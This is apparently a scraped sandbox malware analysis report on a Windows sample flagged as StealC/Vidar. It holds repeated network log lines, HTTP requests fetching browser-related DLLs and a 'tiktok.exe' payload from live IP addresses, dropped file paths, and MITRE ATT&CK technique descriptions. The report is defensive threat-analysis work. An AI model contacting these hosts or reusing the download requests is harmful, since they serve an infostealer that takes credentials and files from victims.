Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76

Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/sqlite3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/freebl3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/mozglue.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/msvcp140.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/nss3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/softokn3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/vcruntime140.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /tiktok.exe HTTP/1.1Host: 185.172.128.203Cache-Control: no-cache

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report w3WOJ1ohgD.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CAAKFIIDGIEHIDGCGHIIECGIJK

C:\ProgramData\DAECAECFCAAEBFHIEHDGHDHCBA

C:\ProgramData\DVWHKMNFNN.xlsx

C:\ProgramData\FENIVHOIKN.docx

C:\ProgramData\FENIVHOIKN.xlsx

C:\ProgramData\GIDBKKKKKFBGDGDHIDBG

C:\ProgramData\HIIIJDAAAAAAKECBFBAE

C:\ProgramData\HJDAKFBF

C:\ProgramData\HTAGVDFUIE.xlsx

C:\ProgramData\KFIEHIII

C:\ProgramData\KJJJDHDGDAAKECAKJDAEGCBKEH

Windows Analysis Report
w3WOJ1ohgD.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.
Tactics:	Collection
Data Sources:	Logon Session: Logon Session Creation, Process: Process Access, Process: Process Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre